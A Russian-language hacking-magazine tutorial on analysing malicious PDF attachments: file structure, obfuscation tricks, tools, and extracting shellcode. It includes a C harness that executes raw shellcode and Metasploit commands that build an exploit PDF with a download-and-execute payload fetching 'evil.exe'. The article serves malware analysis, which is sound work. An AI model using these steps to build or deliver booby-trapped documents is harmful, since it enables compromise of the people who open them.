Содержание статьи
Стоит засветить свой почтовый адрес в Сети, как сразу ты становишься просто потрясающе удачливым человеком. Почти каждый день начинают приходить письма о том, что ты претендуешь на какое-то огромное наследство или выиграл в лотерею. Добрые люди присылают PDF’ки со сверхсекретными данными, и очень часто даже антивирусы на них не ругаются. Поэтому, чтобы окончательно решить, стоит ли открывать очередной «секретный отчет по Сирии», придется провести собственное расследование.
![](/wp-content/themes/engine/img/warning-icon.jpg)
WARNING
Вся информация предоставлена исключительно в ознакомительных целях. Ни редакция, ни автор не несут ответственности за любой возможный вред, причиненный материалами данной статьи.Многообещающий аттач
Как-то раз, приводя в порядок почтовый ящик и удаляя нежелательную корреспонденцию, я наткнулся на несколько писем с вложением, якобы от британского подразделения Google (правда, отправленных почему-то с китайских серверов), с очередным заманчивым предложением. Собственно, внимание привлекли не сами письма, а то, что они были с вложением в виде PDF-файла. «Вот китайские друзья! Вот молодцы! Прислали мне 0-day», — подумал я. И сразу же полез проверить файл на virustotal — вдруг это какое-то старье. Подумав, сервис ответил, что файл абсолютно нормальный, — ни один антивирус не имел к нему никаких вопросов. «Что-то здесь не так. Не могли же мои китайские друзья так меня подвести?» Развеять сомнения можно было только одним способом — взять и исследовать файл самому. Результатом и полученными знаниями я и хотел бы с тобой поделиться.
PDF-формат
Прежде чем начать, давай кратко рассмотрим формат PDF-документов. PDF-файлы состоят в основном из объектов, которые бывают восьми типов: boolean-значения; числа; строки; имена (Names); массивы (упорядоченный набор объектов); словари (Dictionaries) — коллекция элементов, индексируемых по имени; потоки (Streams) — обычно содержащие большой объем данных; Null-объекты.
Каждый PDF-документ должен начинаться с заголовка, который идентифицирует его как PDF-файл и включает в себя номер версии: %PDF-1.5
. Заканчиваться файл также должен определенным образом — сигнатурой %%EOF
.
![Формат PDF-файла](https://xakep.ru/wp-content/uploads/2014/09/11.png)
![](https://xakep.ru/wp-content/uploads/2013/11/cover-4-215x280.png)
Хакер #178. Mesh-сети или строим свой интернет
После заголовка идут объекты. Каждый объект начинается с номера ссылки, номера версии и ключевого слова obj
. За ним располагается контейнер объекта, заключенный между символами <<
и >>
. Заканчивается объект ключевым словом endobj
. Чтобы было понятней, приведу пример:
1 0 obj
<<
/Type /Catalog
/Outlines 2 0 R
/Pages 3 0 R
>>
endobj
Данный объект начинается с номера ссылки — 1, номера версии — 0 и ключевого слова obj. Затем идет контейнер объекта (между символами <<
и >>
). Заканчивается все ключевым словом endobj
. Контейнер может состоять из различных объектов. Наиболее широко распространенным является словарь (dictionary), представляющий собой последовательность пар «ключ — значение», заключенных в скобки <<
и >>
. Объект dictionary — это ассоциативная таблица, содержащая пары объектов, известных как записи. В приведенном выше примере Type
— это ключ, а /Catalog
— значение.
Любой объект в PDF-файле может быть отмечен как косвенный (indirect). Это дает ему уникальный идентификатор, с помощью которого остальные объекты могут ссылаться на него. Например, ключ /Outlines
указывает на косвенный объект 2 0
.
Еще один важный объект, входящий в состав PDF-файла, — это поток (Stream), который, как String, представляет собой последовательность байт. Stream включает в себя Dictionary, за которым следуют от 0 байт данных, заключенных между ключевыми словами stream
иendstream
. Поток, в отличие от строки, может иметь неограниченную длину. Одна из опциональных записей, которая может быть в Dictionary потока, — Filter. Filter — это значение, которое указывает, надо ли распаковывать или расшифровывать данные потока. В PDF-файлах используется множество алгоритмов сжатия и шифрования, таких как: FlateDecode (основанный на DEFLATE или ZIP-алгоритме), DCTDecode (фильтр, основанный на JPEG-стандарте) и другие.
JavaScript — еще один из часто встречающихся объектов в PDF-файле. Движок JavaScript от Adobe частенько страдает от различных уязвимостей, поэтому все, что надо злоумышленнику для успешной эксплуатации, — это создать специальный скрипт, который бы использовал очередную уязвимость в движке. Объект JavaScript обычно выглядит следующим образом:/JavaScript /JS java_script_code
. Переменная java_script_code
может представлять непосредственно сам код или быть косвенным объектом, ссылающимся на другой JavaScript-код.
![JavaScript указывает на косвенный объект](https://xakep.ru/wp-content/uploads/2014/09/3.png)
Наиболее интересные «поля»
Как мы выяснили, PDF-файл состоит из заголовка, объектов, таблицы перекрестных ссылок (для определения местоположения объектов) и трейлера. С точки зрения охоты за эксплойтами самыми интересными для нас строками будут:
/OpenAction
и/AA
(Additional Action) определяют скрипт или действие, запускаемое автоматически;/Names
,/AcroForm
,/Action
также могут устанавливать и запускать скрипты или действия;/JavaScript
задает JavaScript-код для выполнения;/GoTo*
меняет отображение на указанное место внутри исходного или другого PDF-файла;/Launch
запускает программу или открывает документ;/URI
обращается к ресурсу по его URL;/SubmitForm
и/GoToR
могут отправлять данные на заданный URL;/RichMedia
используется для встраивания Flash в PDF;/ObjStm
может прятать объекты внутри Stream’a.
Однако при их поиске не стоит забывать про возможность обфускации с помощью hex-кодов, при которой, например, /JavaScript
может превратиться в /J#61vaScript
. Также очень часто прибегают к различным трюкам со строками, чтобы усложнить жизнь антивирусам и исследователям. В нормальном виде каждая строка должна располагаться внутри круглых скобок: /URI (https://xakep.ru)
. Однако строку можно перенести на несколько, добавив бэкслеш после каждой строки:
/URI (h\
ttp://xakep.ru
Естественно, количество переносов не ограничено, так что ничто не мешает записать строку в «столбик». Помимо этого, можно воспользоваться восьмеричным представлением символов и получить результат вида: /URI (\150ttp://xakep.ru)
. Или, если перевести все символы: /URI (\150\164\164\160\163….)
. Строки также можно представить в шестнадцатеричном виде /URI <687474703a2f2f78616b65702e7275>
. В таких строках шестнадцатеричные числа можно разделять пробелами (<68 74 74 70…>
), причем количество этих пробелов не ограничено. Еще один хитрый способ модификации строк — это шифрование. Тебе когда-нибудь встречался PDF-документ, из которого нельзя было скопировать текст или который нельзя было распечатать? Если так, то это как раз и был тот самый зашифрованный документ. В таком документе зашифровываются все строки и потоки, а сами объекты остаются незашифрованными. Эти моменты тоже придется учитывать при ручном анализе PDF-файлов, потому что такие приемы часто применяются для создания полиморфных форм одного зараженного PDF.
![Пример зашифрованной строки](https://xakep.ru/wp-content/uploads/2014/09/4.png)
Инструментарий
Для исследования PDF-файлов пригодятся следующие инструменты:
- PDFtk — кросс-платформенная программа для работы с PDF-файлами, позволяющая проводить декомпрессию их сжатого контента;
- PDFiD — позволяет сканировать файл на наличие определенных ключевых слов, позволяя сразу выяснить, используется ли в PDF-файле JavaScript или нет;
- PDF-parser и pdfwalker производят разбор файла, позволяя установить все элементы, из которых он состоит;
- pdfextract и pdf.py извлекают JavaScript из PDF-файлов;
- Malzilla и SpiderMonkey пригодятся для деобфускации внедренного в PDF JavaScript-кода;
- PDF Stream Dumper — многофункциональная утилита для исследования PDF-файлов, собравшая всю мощь многих утилит под одним графическим интерфейсом;
- Peepdf и pdfsh предоставляют интерактивный шелл для исследования PDF-файлов;
- SWF mastah извлекает SWF-объекты из PDF-файлов.
Непростая задача
Обычно злоумышленники стараются как можно лучше замаскировать наличие в PDF-файле какого-либо злонамеренного контента. Для этого они прибегают к обфускации JavaScript-кода, манипуляциям над строками и прочим приемам, усложняющим анализ как антивирусным решениям, так и исследователям. Сегодня перед нами стоит задача, несмотря на все хитрые приемы злоумышленников, научиться находить вредоносные части PDF-файлов и определять, какой функционал кроет в себе внедренный шелл-код.
В принципе, про анализ любого вредоносного PDF-файла можно написать целую статью, так как каждый экземпляр использует свой шелл-код, свои методы для сокрытия вредоносной части и прочие трюки, осложняющие жизнь исследователю. Поэтому мы рассмотрим лишь основные методы сокрытия и техники поиска, которые применимы ко всем PDF-файлам. А в каждой конкретной ситуации придется думать головой и искать методы решения. Начнем с рассмотрения самой простой ситуации и постепенной перейдем к более сложным.
Обычный JavaScript
Самый простой вариант — это когда над файлом не проводили никаких манипуляций для сокрытия его вредоносного функционала. Представим, что у нас на руках такой файл и нам надо оценить, нормальный ли он или зараженный. Первым шагом необходимо скормить его антивирусу. Если он молчит и говорит, что все ОK, можно обратиться к сервису VirusTotal, чтобы прогнать файл сразу на нескольких антивирусах. Правда, в случае если используется какая-нибудь 0-day-уязвимость, это, скорей всего, не поможет. Поэтому придется проверить все самому. Начнем с того, что выясним, какие интересные объекты входят в состав нашего файла. Прежде всего нас будет интересовать JavaScript, так как в большинстве зараженных PDF используются уязвимости именно в движке JS. Выявить наличие JavaScript-кода в документе можно несколькими способами: либо открыть файл в любом текстовом редакторе и выполнить поиск по /JavaScript
или /JS
, либо воспользоваться скриптом pdfid.py —pdfid.py 1.pdf
, который отобразит все входящие в файл объекты.
![Пример работы pdfid.py](https://xakep.ru/wp-content/uploads/2014/09/5.png)
Если в документе присутствует JavaScript, то велика вероятность того, что он содержит вредоносный код. Поэтому дальше надо анализировать его. Так как мы начали с самого простого случая, то никаких дополнительных техник сокрытия не используется и вытащить JS-код из PDF’ки можно с помощью pdf-parser.py:
`pdf-parser.py --object 6 --filter --raw 1.pdf > 1.js`
или с помощью PDF Stream Dumper. После чего сохранить в отдельный файл для последующего анализа. Следующим нашим шагом будет изучение кода скрипта и выделение из него шелл-кода для последующего анализа.
Исследование шелл-кода
![Анализ JavaScript-кода с помощью PDF Stream Dumper. Переменная ZHZfJa содержит шелл-код](https://xakep.ru/wp-content/uploads/2014/09/8.png)
Шелл-код в JavaScript обычно формируется при помощи функции unescape
, в которую передается строка в юникоде. Для того чтобы шелл-код можно было проанализировать, необходимо восстановить обычный порядок байт для каждого символа. Это можно сделать либо с помощью вспомогательных утилит (например, с помощью Malzilla), либо прямо в консоли Linux:
cat pdf-exp.txt | perl –pe ‘s/\%u(..)(..)/chr(hex($2)).chr(hex($1))/ge’ > shellcode.bin
где pdf-exp.txt
— файл с исходным шелл-кодом, shellcode.bin
— файл, в который будет записан преобразованный шелл-код. После этого можно приступить к его исследованию. Для этого можно воспользоваться тулзой sctest, входящей в библиотеку libemu:
sctest -Ss 1000000000 < shellcode.bin
![Исследование шелл-кода при помощи sctest](https://xakep.ru/wp-content/uploads/2014/09/9.png)
После чего мы получим список всех API-вызовов, выполняемых из шелл-кода. Есть у sctest еще одна интересная возможность, о которой хотелось бы упомянуть, — с ее помощью исследуемый код можно представить в виде графа вызовов:
sctest -Ss 1000000000 -G shellcode_graph.dot < shellcode.bin
dot -T png -o shellcode_graph.png shellcode_graph.dot
Иногда встречаются ситуации, когда для исследования приходится пользоваться обычным отладчиком. Перед этим надо написать небольшую вспомогательную программку, которая бы передавала управление на шелл-код, следующего вида:
#include <windows.h>
char code[]="скопировать шелл-код сюда";
int main(int argc, char **argv)
{
DWORD old;
VirtualProtect(&code, 227, PAGE_EXECUTE_READWRITE, &old);
int (*func)();
func = (int (*)()) code;
(int)(*func)();
}
После чего скомпилировать и запустить под отладчиком для дальнейшего анализа.
Сжатые потоки
В рассмотренном выше случае все было предельно упрощено, увы, но в реальной жизни такие сценарии практически не встречаются. Поэтому давай рассмотрим наиболее популярные приемы, которые используются для сокрытия вредоносного кода.
Если ты обратил внимание, когда мы говорили про структуру PDF-документа, мы сказали, что у объекта Stream может быть атрибут /Filter
, который определяет, каким методом сжаты данные потока. Причем к потоку могут быть применены сразу несколько фильтров (например,/Filter [/Fl /Ahx]
). Что касается интересующего нас объекта JavaScript, то он, в свою очередь, должен содержать либо функцию, либо косвенную ссылку на код для выполнения. Поэтому зараженные файлы очень часто содержат JavaScript-объекты следующего вида: /JS (this.Z0pEA5PLzPyyw\(\))
. При этом простой поиск функции по имени ничего не даст, так как она скорей всего будет расположена в сжатом потоке. Чтобы получить распакованное содержимое потока, можно воспользоваться утилитой PDFtk:
pdftk 1.pdf output uncompressed.pdf uncompress`
После этого у нас появится файл uncompressed.pdf с распакованным содержимым, пригодным для дальнейшего анализа. Ну а дальше действуем по использованной выше схеме.
Обфусцированный JavaScript
К сожалению, так быстро проанализировать JavaScript-код и выдернуть из него шелл-код, как мы рассматривали до этого, в реальной ситуации не получится. Практически всегда, чтобы запутать антивирусы и усложнить жизнь исследователям, JavaScript-код обфусцируют. В таком случае определить, что он делает, и выделить в нем шелл-код становится уже не такой простой задачей. Деобфусцировать код можно несколькими способами. Можно, например, выполнить его в браузере и вывести через alert() преобразованный код. Или воспользоваться программкой SpiderMonkey, а точнее, ее модифицированной версией, которую можно взятьтут. В отличие от оригинальной версии, которая только интерпретирует JavaScript-код, данный мод позволяет логировать в файл вызовы функций eval()
, document.write()
, которые чаще всего используются в обфусцированном коде для приведения его в первоначальный вид. Таким образом, перехватив вызов этих функций и сохранив возвращаемый результат в файл, мы получим деобфусцированную версию кода, из которой, как и в предыдущих случаях, необходимо будет извлечь шелл-код и провести его анализ. Алгоритм действий таков:
- сохраняем обфусцированный код в отдельный файл (например,
sample.js
); - запускаем его в SpiderMonkey —
js sample.js
; - идем смотреть логи
eval*.log
,write*.log
в поисках деобфусцированного кода; - разбираем полученный код и выделяем из него шелл-код.
Ну а дальше анализируем шелл-код и выясняем его функционал.
![Эксплойт использует уязвимость в media.newPlayer (CVE-2009-4324)](https://xakep.ru/wp-content/uploads/2014/09/7.png)
PDF & SWF
До этого момента мы рассматривали только уязвимости, связанные с ошибками в движке JavaScript. Однако существует еще один вектор распространения вредоносных программ. Дело в том, что PDF-файлы можно использовать просто как «контейнеры"» для хранения и доставки пользователю зараженных SWF-файлов. Да, эти два популярных продукта приносят много хлопот Adobe, которой периодически приходится выпускать security-обновления :). Чтобы проанализировать вредоносные Flash-файлы, их надо предварительно вытащить из PDF-документа. Выполнить это можно при помощи утилиты SWF Mastah:
swf_mastah.py -f malicious.pdf -o ./
Опция -o
отвечает за то, в какую директорию будут извлечены SWF-файлы. Для решения этой задачи можно также воспользоваться и программой PDF Stream Dumper. Как только SWF-файлы окажутся в указанной папке, их можно будет изучить, например с помощью утилит SWFREtools и SWF Investigator. К сожалению, анализ SWF-файлов нам придется оставить за рамками данной статьи.
Подопытные для анализа
Чтобы не сидеть и не ждать, пока тебе придет письмо с PDF-файлом, который можно было бы проанализировать, лучше воспользоваться архивами вредоносных аттачей, использовавшихся для фишинга и целевых атак. Архивы скачиваются без проблем, правда, для их распаковки надо будет связаться с владельцем ресурса, чтобы получить пароль.
Если не хочется ничего скачивать, то можно воспользоваться услугами Metasploit Framework. Запускаем msfconsole и выполняем следующие действия:
msf > use exploit/windows/browser/adobe_media_newplayer
msf exploit(adobe_media_newplayer) > set PAYLOAD windows/download_exec
msf exploit(adobe_media_newplayer) > set URL http://www.xakep.ru/evil.exe
msf exploit(adobe_media_newplayer) > exploit
После чего на порту 8080 поднимается HTTP-сервер, который при подключении к нему возвращает пользователю зараженный выбранным пэйлоадом PDF-файл.
[*] Using URL: http://0.0.0.0:8080/CA1vjWjp
[*] Local IP: http://192.168.20.11:8080/CA1vjWjp
[*] Server started.
Таким образом, при помощи wget’а (MARKDOWN_HASHd2cc360a8dce9a6c58ef159660c7830aMARKDOWN_HASH
) или браузера можно заполучить этот файл для дальнейшего анализа.
Подводя итоги
Сегодня мы познакомились с тем, каким образом можно проводить анализ зараженных PDF-файлов, и рассмотрели основные методы защиты вредоносного кода от исследования. Из-за пристального внимания к безопасности продуктов Adobe можно найти в Сети много инструментов, которые могут взять большую часть рутинной работы по анализу PDF’ок на себя. Так что ты всегда сможешь выбрать софт для решения той или иной задачи. Правда, от необходимости шевелить извилинами это тебя никак не избавит. Что касается меня, то мой файл оказался простой пустышкой. В нем не было ни JavaScript, ни встроенных SWF’ок — лишь только пара изображений и текст. Поэтому, немного разочарованный, я пошел дальше ждать своего халявного 0-day-эксплойта. Надеюсь, скоро пришлют :).